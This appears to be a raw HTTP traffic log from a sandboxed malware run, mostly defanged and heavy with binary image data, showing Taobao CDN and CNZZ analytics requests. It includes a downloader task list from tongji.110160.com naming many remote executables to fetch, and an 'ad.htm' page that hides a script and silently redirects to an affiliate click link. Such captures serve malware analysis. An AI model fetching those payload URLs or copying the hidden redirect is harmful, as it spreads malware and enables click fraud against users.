...........WMo.6.. ...H0-....Z....H..-`.E...V..2...H.....sz..[...$........oH}.k.)..Cq.....7........i..g.d.YU..*vv.QpwG...`|Z...*...:....Lp..#....3...G...NKE.e./..TF.e!...D.I.e^\...Nj.\.S.9k..("e5../L..E......K..3.....L.t0Zs...K.. .b.#.....l/b}...v ..N....y..... #M&.{;X...$.|.....D...C......<..Q.n]...RL#....."...?.z....W......o..eb..$SZ.......{;q............w/~~..O.).!c........\..vy\.u<W....?/..aJ..25......e*..?.=..p....%|..f.....0!{....o~qH.......Z@.<..~..U...U-.>^.H]^.*...&*]r{.....i.Q...p.a....>u.......E5..@O5#.y._.........p...."6.~&.9..e>....1...y...(..K.p..@..7...{.,R\..(...,;$.\.OqI[Z.oTqL..m}.........!...'..89.`ZP..<.v..e.n...~qkk.{^tI!wV.#.E....q..)e>.*RR....L]M4.\..i....4.%yS ...G2m2.].!|N.C*\..........:..z!J..}x......X.P....|.F.../. ...]....8N.':s....V....k....UN.cA.....7..............n|.w...(.$.D>3s...c9.*..JOF.....rk.O..B.F`;k..l.."...V.D>...[lo......769.Xhn..`....^'%zc.........|......."....J..V.%h.........@..4.2........,$..Q.d.;..D....X.^.......V.'.............O..eB]{.T)g.b...|3.;w..qzy.R.)oh.>.....w.....~$m..Z..=k....o.%..q..Mw...y&.. .p.3r....4....&U4.<.I...D.W(..X.;..bj..#... Q..r..s...N.Cg-,..4.@.O...[.....v=.........q.....n..._....P.XmrZ...7....P/..(<f.'.L.e..`...K..0g.r.e.!.U.p..9J...{P"NP.....Q.qV.cO.q".2...A...I.x........(.zY.#.l...j..T.d.....e....W..'....6...s!gs..5..n\o..... ..aC.}.p....i...EK......Zt.M-....Q.....m.Dp&.y.J.!o3..5.t...F..e>.TT..... =w...;.9..l.......u..>.d.G. .uu..R..{7....z......0.D\.`...=..4B%5.....f..9.Y.s.ba<..~C^.-...yFS*

<<< skipped >>>

GET /sd/data_sufei/1.4.3/aplus/index.js HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: g.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/x-javascript

Content-Length: 12395

Connection: keep-alive

Date: Mon, 01 Jun 2015 16:06:44 GMT

Last-Modified: Tue, 19 May 2015 06:37:16 GMT

Cache-Control: max-age=315360000,s-maxage=3600

Access-Control-Allow-Origin: *

Vary: Accept-Encoding

Via: cache22.l2de1[0,304-0,H], cache24.l2de1[0,0], cache6.de1[0,200-0,H], cache4.de1[1,0]

Content-Encoding: gzip

Age: 6626

X-Cache: HIT TCP_MEM_HIT dirn:5:134730621

X-Swift-SaveTime: Mon, 01 Jun 2015 17:06:25 GMT

X-Swift-CacheTime: 3600

............kw..........-..(.....].......s..d/..D.....e.T..y....u.d&k...D.A..}.~../....u6 .y..|i...>...jtq..........jN....o...N.........~.u.../..lz.&.L......qZ..I.g..=I..F.4....t8.|..yR.f.i.m~..*.......r>.Z....:..Z$.o.p....>.N..(......?...MY,...U..|[......N/..EZ..l...tt........YB}QG....C7..........?>pg.'.r..@..O..=uc...S^t....BiR. '.&..t...&...q8v.p.....lY$=...W?.......Aob..!... ....I1Z./Ve..-.vTLZ...)Nt.N..]c.u..o.4cv.S.f{..g0....._....K....?..{|m.z..iz^y.:.....V..&..?...\.i..vZ$v..OE.i.1...V:L...#.f..y. l..3......iD3c..KFE.....z~.7.i...;...g.v...o....g....f`........N....l.....%M...|@... ...\.....I4.mf..!..=..}:..|.u...!..RA..l..Hr.-.FK.x5..}.Y...t.J.~o...Y...............bt[.e^~.MG&`..3.R..ihG..DNh..........}.........D.........Ya..q.y..xb...-/.. ....8......V.x|....91..^.YQ4......s.;.|......1.X..r.m3.g...9.8.\?.c..=......c.9.....@........7.\/.-Dd.q.FVd...;!.......@P....'A....cd..... `v..C..<;.B.....8...L."..r...])....7.-'........v...8,d..?T.[.c{n,.q.8...Q..u. .1.w.q4.#V.D..y..."...bt..2...B./.9.cQ....1......c.....$V.".i...,...6....fx'.....n<.{L...&..;......0,..c.r...b/..\o..!.E!r...r#V..6S..7..X../.\s[.v<...N..>x@..JB.V..-...D.E9R..dc...0...=.1.#.#..........G.w....t.glc...YJ..8.Y.3......Rx w....#.$..6.c....Rd.....Z..`e....!..,>..\<..n.........G....l..|.@....,....c.0.P<J....J.. ..8.c...... ...f..H9...>k.V0/.q.!.b.l...1..QA.T...........`........|..1PK$W..........b...>.r.E.r .3t...m.v<...8./.0=..^..BIc'...C........<D4..aq..x....H" ?.4.w.;.|F...*.....<9.&.E...b.{,l...

<<< skipped >>>

GET /9.gif?abc=1&rnd=695925969 HTTP/1.1

Accept: */*

Referer: hXXp://tongji.110160.com/will.html

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: cnzz.mmstat.com

Connection: Keep-Alive

HTTP/1.1 302 Found

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:03 GMT

Content-Type: image/gif

Content-Length: 43

Connection: keep-alive

P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"

Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:03 GMT; path=/; domain=.mmstat.com

Set-Cookie: sca=c61637c3; path=/; domain=.cnzz.mmstat.com

Set-Cookie: atpsida=a092cdbefaedf9c030662491_1433181423; expires=Thu, 29-May-25 17:57:03 GMT; path=/; domain=.cnzz.mmstat.com

Location: hXXp://pcookie.cnzz.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt

Expires: Thu, 01 Jan 1970 00:00:01 GMT

Cache-Control: no-cache

Pragma: no-cache

GIF89a.............!.......,...........L..;HTTP/1.1 302 Found..Server: Tengine..Date: Mon, 01 Jun 2015 17:57:03 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt; expires=Thu, 29-May-25 17:57:03 GMT; path=/; domain=.mmstat.com..Set-Cookie: sca=c61637c3; path=/; domain=.cnzz.mmstat.com..Set-Cookie: atpsida=a092cdbefaedf9c030662491_1433181423; expires=Thu, 29-May-25 17:57:03 GMT; path=/; domain=.cnzz.mmstat.com..Location: http://pcookie.cnzz.com/app.gif?&cna=74rzDSF6YRECAcGK9Oe2PPyt..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..

GET /paramfile/tasklist.txt HTTP/1.1

Host: tongji.110160.com

Accept: text/html, */*

Accept-Encoding: identity

User-Agent: Mozilla/5.0

HTTP/1.1 200 OK

Content-Length: 2904

Content-Type: text/plain

Last-Modified: Mon, 01 Jun 2015 11:58:28 GMT

Accept-Ranges: bytes

ETag: W/"c6ea645629cd01:125c"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:55 GMT

...Y73;hXXp://down.y73shop.com:173/down/Y73P2PSearcher_4.exe;Y73P2PSearcher_4.exe;0;0;......;0;1;Y73Server.exe;1...........;hXXp://down.ybofang.cn/small/sw/-2100_1_xcfx.exe;-2100_1_xcfx.exe;0;0;......;30;1;MiLai.exe;3..............;hXXp://pc.tgi-cn.net/down/069.exe;069.exe;0;0;......;0;0;yqtj.exe;2.................;hXXp://down.chuaijiu.com/jxjjq_3002_s.exe;jxjjq_3002_s.exe;0;0;......;0;0;jjqix.exe;99..............114;hXXp://down.xqt18.com/update/chengzi/CzSetup@S_354.exe;CzSetup@S_354.exe;0;0;......;0;0;ChengZi.exe;106.................;hXXp://down.meituview.com/MTViewbuildmtview_125.exe;MTViewbuildmtview_125.exe;0;0;......;0;1;MTview.exe;83.....114...............;hXXp://down.secaikan.com/sckt/jm/setup_scx150006.exe;setup_scx150006.exe;0;0;......;0;0;PSeeMain.exe;107.................;hXXp://down.qii678.com/news/Fresh_20l5_052036fc.exe;Fresh_20l5_052036fc.exe;0;0;......;0;0;SuprHotFlosh.exe;66.............................;hXXp://down.hanhan521.com/Pack/xun_1072.exe;xun_1072.exe;0;0;......;0;0;GameBox.exe;115.....ZM...............;http://download.juezhao123.com/setup/setup_30015.exe;setup_30015.exe;0;0;......;50;0;anote.exe;117.....114...............;hXXp://VVV.xz9u.com/my_3_14_yy.exe;my_3_14_yy.exe;0;0;......;0;0;;118.....114.........;hXXp://download.suxiazai.com/for_down/2013/install1552763.exe;install1552763.exe;0;0;......;0;1;RsMgrSvc.exe;98................................;http://d.92youx.com/channel/360yx/907242/attent.exe;attent.exe;0;0;......;0;0;;71.....7654...............;hXXp://down.7654.com/downloads/re

<<< skipped >>>

GET /t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml xml, */*

Referer: hXXp://s.click.taobao.com/t_js?tu=http://s.click.taobao.com/t?e=m%3D2%26s%3D35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds%2BV2hm%2FdhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA%2FDpPH01wK9AmARIwX9K%2BAjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV&ref=&et=558qJCi5lfDmNxpSGDi6si7lyGrLBGCr

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s.click.taobao.com

Connection: Keep-Alive

HTTP/1.1 302 Moved Temporarily

Server: Tengine

Date: Mon, 01 Jun 2015 17:57:06 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"

Set-Cookie: miid=6253757304298920846; expires=Sun, 25-Feb-2018 17:57:06 GMT; path=/; domain=.taobao.com

Location: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Expires: Mon, 01 Jun 2015 17:57:06 GMT

Cache-Control: max-age=0

0..

GET /ad.htm HTTP/1.1

Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: jc.110160.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Length: 757

Content-Type: text/html

Last-Modified: Thu, 14 May 2015 08:58:36 GMT

Accept-Ranges: bytes

ETag: "84468729248ed01:125c"

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Date: Mon, 01 Jun 2015 17:56:58 GMT

<html>..<body>.. <div style="display: none"> ..<script language="javascript" type="text/javascript" src="hXXp://js.users.51.la/17745949.js"></script>..<noscript><a href="hXXp://VVV.51.la/?17745949" target="_blank"><img alt="我要啦免费统计" src="hXXp://img.users.51.la/17745949.asp" style="border:none" /></a></noscript>..</div>.. <script language="javascript" type="text/javascript">.. setTimeout("location.href='hXXp://s.click.taobao.com/t?e=m=2&s=35qbAmPcNZ4cQipKwQzePCperVdZeJviEViQ0P1Vf2kguMN8XjClAgeSiZ4DAJSwSWmUbzNGsoQJQ2Ds+V2hm/dhTHoLjIagalccoinlb2h3Sd4VibvlLeo0BcZWWIRYYA/DpPH01wK9AmARIwX9K+AjBDXvuqoU47FHjfsActnIQu5PdXpojKJn5AyUbPoV';", 100);.. </script>..</body>..</html>..HTTP/1.1 200 OK..Content-Length: 757..Content-Type: text/html..Last-Modified: Thu, 14 May 2015 08:58:36 GMT..Accept-Ranges: bytes..ETag: "84468729248ed01:125c"..Server: Microsoft-IIS/6.0..X-Powered-By: ASP.NET..Date: Mon, 01 Jun 2015 17:56:58 GMT..<html>..<body>.. <div style="display: none"> ..<script language="javascript" type="text/javascript" src="hXXp://js.users.51.la/17745949.js"></script>..<noscript><a href="hXXp://VVV.51.la/?17745949" target="_blank"><img alt="我要啦免费统计" src="hXXp://img.users.51.la/17745949.asp" style="border:none" /></a></noscript>..</div>..

<<< skipped >>>

GET /tps/i1/TB10W7HHpXXXXX3aXXXrywt4VXX-120-120.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms01.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 14267

Connection: keep-alive

Date: Mon, 01 Jun 2015 00:01:20 GMT

Last-Modified: Tue, 26 May 2015 11:42:46 GMT

Expires: Thu, 29 May 2025 00:01:20 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache22.l2de1[0,200-0,H], cache48.l2de1[0,0], cache4.de1[0,200-0,H], cache9.de1[0,0]

Age: 64549

X-Cache: HIT TCP_MEM_HIT dirn:5:780137630

X-Swift-SaveTime: Mon, 01 Jun 2015 00:10:34 GMT

X-Swift-CacheTime: 315359446

.PNG........IHDR...x...x.....9d6.... cHRM..z%..............u0...`..:....o._.F....bKGD..............pHYs.................vpAg...x...x..E.[..6.IDATx...i.m.u..[...>...t....1<....$ X. .,.T..T$.qd.....9..IJN....... .,:.#..-GN).X....i..h..g...7..w<..{..^...9...... ......>....t....k.-..M.q...?.&..t....n.|..M.op....N7....&.78.........t....n.|..M.op....N7....&.78.........t....n.|..M.opr.....S...1F...c0..e.Y.........^..i.j.....<.7U...).F.k-1..wG..........wU.6.z.N...e.1o.....{...k..G..|dt..S..h..I.d{..e..<.<.v............._........P...V)"o..y..{......c.{..\.r...i:.....{..v.....k.~...#..m...R.%"B.$.{w_K..^..y.....Dy....W.=i.""....N......G.....n...q..t...z.k.f.c..e.k...s...)x..}.0...IU..<..1..CD(...&Co.........2p...p,P......Be.nc...\..=...u.......m.!MS...@...X...\....O_...G...eL.S...g<......6.n.|.......y.../.......0.s.k..Z.0.8.*...*0........._ ...:....WY..Q|......c&.O.a..1f......4.S....]..z...(.9!B..$I...W...w.B..Zk.....yZ{..{..G....:..}...xA...J.q..:...[@....L.....d!T....j..qxt.}..{...x...?...........~W...{?1....(.b..K[. h....O.d.Nk..J..4M'.t=M.:.m...V......1..iB....~..'...{..=..........m.n............z...o2......<.t,..,....W......>..x.N....-..]...._.;.f.`....L4..D].cu.Q........c.!L...a.M.....z....HU.Bc.....0..........8#.f<.I..$.....=. ]m.....U...;-ww....0u. ...x.~..h....C.$8.&6..27...Si.O..s...j...8:...i.c.8..ZKY..d.>He;O.>|......X..6.xz.......r....T.w.`. .9.xL..{4......V.u.......z./.'b......Sk...N.2.......S..1=...=......r.M<...;x~~.j.H.......J....6Z.GGsr]...I..;x.N...i.;......

<<< skipped >>>

GET /tps/i1/TB1BCuuGXXXXXX5XVXXliWH8FXX-126-354.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtd.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 16937

Connection: keep-alive

Date: Thu, 06 Nov 2014 11:29:45 GMT

Last-Modified: Fri, 05 Sep 2014 08:20:14 GMT

Expires: Sun, 03 Nov 2024 11:29:45 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache62.l2de1[0,200-0,H], cache35.l2de1[0,0], cache7.uk1[0,200-0,H], cache11.uk1[0,0]

Age: 17908046

X-Cache: HIT TCP_MEM_HIT dirn:4:782287802

X-Swift-SaveTime: Tue, 07 Apr 2015 09:20:15 GMT

X-Swift-CacheTime: 302234970

.PNG........IHDR...~...b.....0@l.... cHRM..z%..............u0...`..:....o._.F....bKGD..............pHYs.................vpAg...~...b.r.....A&IDATx...yx.E....=.'.... .$ ...S. ...u.*..... . .^..."*Ht]$..z l..( ,w \..e B.."......d...?z....L&.LH..<O?3.U]]..._.]E ..........P.@.B...........0.R..g..@N...anw.dn.....-D s.O...u..]%.>I..-...75<..?.]\v.....?.@.DX..}..r6r..N.......7~:. c.=..R<i........>O..~.GA9m.................U.!PD...=.u...?a..zG..x.>......Wq..&.,...;J..".o.n..e\....k...........u....I... ...n.....'.=..m2-.0fR...2.......q...2........(.}......k/.....;~...u.".L}...r\.... ...n.P....... ..Y.}Y.V..{k.3.[\......Y.5.....p.|.!....p.<..>..P.|.<<.;)..<^.........D..-.... ..8..oY.Lt.i.............. (...9..x.@.....~Hw".w...q...^.=...[:...8..s.0.I0AJ.../M._..! W<...om.eS.f.....WB)..r..F~..y.5K>..b...(..9..7....P......0......k..47..q..Ix.....'..../0....u..`.*.K.@U.... .7M(.1.~.~e.@.....}......x[.zs...f^. \6..A=`:........ll8.....^,....o.........[._9b....Q.!.[.....w:......0.d. 4..@..-0a..~...`{.I...i5.....y.yd$....6..Y.........7...F0Da..$.......qQ.._..\v..s:.........Gs....z...(....9.I#..F.c..{..3c............Gp....P....tN....U. ]...U...t.oM..F)<G..;'....1.[0..M.....5.?f.....M.......J...h.r..{b.....`...0|.&.o'...,|.@....Bh.... A....:......Z.@?...y.....o.b0w....G.=......_..|AE..t...B..54..f..i.].{..m.{.......M......-.'...`.....w.p....^...8.>H....0~u....U...(.....O...?.......J.9BN......x...u.w8......k....-...q....._..R..k~..cD.....k......._KQ........V..[......n..k.].O>..C....N).

<<< skipped >>>

GET /stat.php?id=1254485011 HTTP/1.1

Accept: */*

Referer: hXXp://61.196.186.155:73/

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: s11.cnzz.com

Connection: Keep-Alive

Cookie: cna=74rzDSF6YRECAcGK9Oe2PPyt

HTTP/1.1 200 OK

Server: Tengine

Content-Type: application/javascript

Content-Length: 10075

Connection: keep-alive

Date: Mon, 01 Jun 2015 17:49:42 GMT

Last-Modified: Mon, 01 Jun 2015 17:49:42 GMT

Cache-Control: max-age=5400,s-maxage=5400

Via: cache44.l2de1[673,200-0,M], cache59.l2de1[673,0], cache6.de1[0,200-0,H], cache6.de1[0,0]

Age: 447

X-Cache: HIT TCP_MEM_HIT dirn:-2:-2

X-Swift-SaveTime: Mon, 01 Jun 2015 17:49:42 GMT

X-Swift-CacheTime: 5400

(function(){function k(){this.c="1254485011";this.R="z";this.N="";this.K="";this.M="";this.r="1433180982";this.P="oz.cnzz.com";this.L="";this.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz_CV" this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};this.la()}function g(a,b){try{var c=.[];c.push("siteid=1254485011");c.push("name=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.referrer));c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator.userAgent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Math.random()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeURIComponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(),this.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),this.ja(),this.j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.qa(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed")}},oa:function(){try{var a=this;e._czc={push:function(){return a.B.apply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var a=e._czc;if("[object Array]"==={}.toString.call(a))for(var b=0;b<a.length;b ){var c=a[b];switch(c[0]){case "_setAccount":e._cz_account="[object String]"==={}.toString.call(c[1])?c[1]:String(c[1]);.break;case "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_autoPageview=c[1])}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("undefined"===typeof e._cz_account||e._cz_account===this.c){e._cz_account=this.c;if

<<< skipped >>>

GET /tps/i3/TB1BnawHFXXXXaNaXXXgMSN.FXX-130-50.png HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/png

Content-Length: 3159

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:38:53 GMT

Last-Modified: Thu, 23 Apr 2015 07:13:35 GMT

Expires: Thu, 29 May 2025 11:38:53 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache56.l2de1[301,200-0,M], cache61.l2de1[302,0], cache7.de1[0,200-0,H], cache9.de1[0,0]

Age: 22695

X-Cache: HIT TCP_MEM_HIT dirn:5:485893713

X-Swift-SaveTime: Mon, 01 Jun 2015 11:38:53 GMT

X-Swift-CacheTime: 315360000

.PNG........IHDR.......2.............tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:48CD5C03E1AC11E4AC43DC6CD8CA760C" xmpMM:DocumentID="xmp.did:48CD5C04E1AC11E4AC43DC6CD8CA760C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:48CD5C01E1AC11E4AC43DC6CD8CA760C" stRef:documentID="xmp.did:48CD5C02E1AC11E4AC43DC6CD8CA760C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........PLTE.............`.....F........}u..........b|..........{g....8v....u........W^.......l.....7..............F..g^.8^................s.....{........6.....I^.....w.......G........V...........T....._....................)i.)`....,.. y..v..w.....~.*r........~.ah............................T...........}....................Vi.t..t..t..aq.5..Hi.-..)^.......(_.)`.............)_.-.......................5....................t........U........`........)^................|...........t....................lg.G...n....up.ux....}...........Vq............................^...............................

<<< skipped >>>

GET /tps/i3/TB1ODS9HFXXXXbaXFXXMmPIJFXX-9-7.gif HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/gif

Content-Length: 1323

Connection: keep-alive

Date: Mon, 01 Jun 2015 11:10:18 GMT

Last-Modified: Sat, 25 Apr 2015 14:17:37 GMT

Expires: Thu, 29 May 2025 11:10:18 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache30.l2de1[0,200-0,H], cache39.l2de1[1,0], cache2.de1[0,200-0,H], cache9.de1[1,0]

Age: 24411

X-Cache: HIT TCP_MEM_HIT dirn:7:674129622

X-Swift-SaveTime: Mon, 01 Jun 2015 11:16:56 GMT

X-Swift-CacheTime: 315359602

GIF89a.............!..NETSCAPE2.0.....!..XMP DataXMP<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.155772, 2014/01/13-19:44:00 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:02173465-d404-4b7b-bdf5-3b77242461ce" xmpMM:DocumentID="xmp.did:4EC8B078E28411E48DA0C5916A68EE5E" xmpMM:InstanceID="xmp.iid:4EC8B077E28411E48DA0C5916A68EE5E" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4236c97f-561f-4a8a-b455-ce8185ecc2f9" stRef:documentID="adobe:docid:photoshop:e0f0ed29-2ae1-1178-8075-fbaef41d6a4d"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..................................................................................................................................~}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-, *)('&%$#"! .................................!.......,..................l`....!.......,.............y.....IVT..!.......,..................l`....!.......,.............y.....IVT..;....

<<< skipped >>>

GET /tps/i3/TB1nrpzIXXXXXbFXpXXSgLWZVXX-290-420.jpg_q90.jpg HTTP/1.1

Accept: */*

Referer: hXXp://ju.taobao.com/?ali_trackid=2:mm_28882711_2549618_31192338:1433181426_2k2_1782438798

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: gtms03.alicdn.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Server: Tengine

Content-Type: image/jpeg

Content-Length: 40702

Connection: keep-alive

Date: Mon, 01 Jun 2015 03:35:43 GMT

Last-Modified: Mon, 01 Jun 2015 03:29:24 GMT

Expires: Thu, 29 May 2025 03:35:43 GMT

Cache-Control: max-age=315360000

Access-Control-Allow-Origin: *

Via: cache39.l2de1[0,200-0,H], cache11.l2de1[0,0], cache7.de1[0,200-0,H], cache9.de1[0,0]

Age: 51686

X-Cache: HIT TCP_MEM_HIT dirn:2:467285789

X-Swift-SaveTime: Mon, 01 Jun 2015 03:35:49 GMT

X-Swift-CacheTime: 315359994

......JFIF.............C..............................................#....!!!..$'$ &. ! ...C........... ... ........"............................................k...........................!1.AQa.."2q....#r...3BRbs....$4CSt.........57TUcdf..........%'6DFVg.&Eeu.GHW...................................L........................!..1A.Qa.."2Rq......Br...34CSb.....#5...$%D..FcTs.............?...a?D.&.[.(..K.^...l...4.-.[.w..=.....p.,{.@X...C.(..p.4=......@(....dg.....;.B~O.j.p8.../@.'..8..h....q.Q$z... .\H..h>X..Y.N.[.VX{...P.. {.....=@.......S......u..UD................bN..v....6x.......".S....'..`........4.`..76.{...=`.......F@.=U..D..H..C}E..oZe.....l!..Q#.=]..R....9X......MY...Mn..i...}#..{^k...y.".$.2r..H..(..g...f.....[.....2.I.0....J..9...d......y.yZ.t.....-7....n.}Z.C...{.#s.].(..X\..ai..k....m>.`T.9>......;.Z.O..u.D-..I...pLK[M.\!.w.@.....55FM].p.m.[..t..n.-=...b.*K..j.J..U....)\FRH...T.G...^..BK.....Q...5k...8......c{u,.2..y.x.r....N.hx\...~3x.ou..V.....G.....=.LZ...o1......)D..=C.]UV....zM..L....k.}.....s~..6...~O.j.p>........O...[.';...j...(..9.R.....\>.... ...b.e..L.b...R...`=.H.#.X...`..O. 